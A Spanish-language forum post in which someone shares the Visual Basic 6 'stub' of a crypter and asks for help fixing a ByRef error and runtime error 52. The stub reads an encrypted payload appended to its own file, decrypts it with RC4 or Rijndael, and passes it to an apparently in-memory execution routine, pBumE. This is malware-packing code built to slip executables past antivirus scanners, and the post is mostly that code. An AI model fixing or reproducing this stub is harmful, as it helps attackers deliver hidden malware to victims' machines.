ahi va:
Module2, el que viene a ser stub.bas, lleva dentro este codigo:
Código:
Sub Main()
Dim DatosdeDE As String
DatosdeDE = Space(LOF(1))
Get #1, , DatosdeDE
Dim DESplit() As String
DESplit() = Split(DatosdeDE, "[darkeuphoria]")
Dim RC4 As New clsRC4, Rijndael As New clsRijndael
If DESplit(2) = "RC4" Then
DESplit(1) = RC4.DecryptString(DESplit(1), DESplit(3))
End If
If DESplit(2) = "Rijndael" Then
DESplit(1) = Rijndael.DecryptString(DESplit(1), DESplit(3))
End If
Dim DEdata() As Byte
DEdata() = StrConv(DESplit(1), vbFromUnicode)
Call pBumE(App.Path & "\" & App.EXEName & ".exe", DEdata(), Command)
MsgBox " cifrado con exito "
End Sub
En la linea de Call me da error de ByRef.
Entonces pongo esa linea como a mi me parece que tendria que ser:
Código:
Call pBumE(App.Path & "\" & App.EXEName & ".exe", StrConv(DESplit(1), vbFromUnicode)
Pero entonces me salta el error 52 en la tercera linea, con el Space(LOF(1))
De forma que: como creeis que tendria que corregirse el codigo? muchas gracias!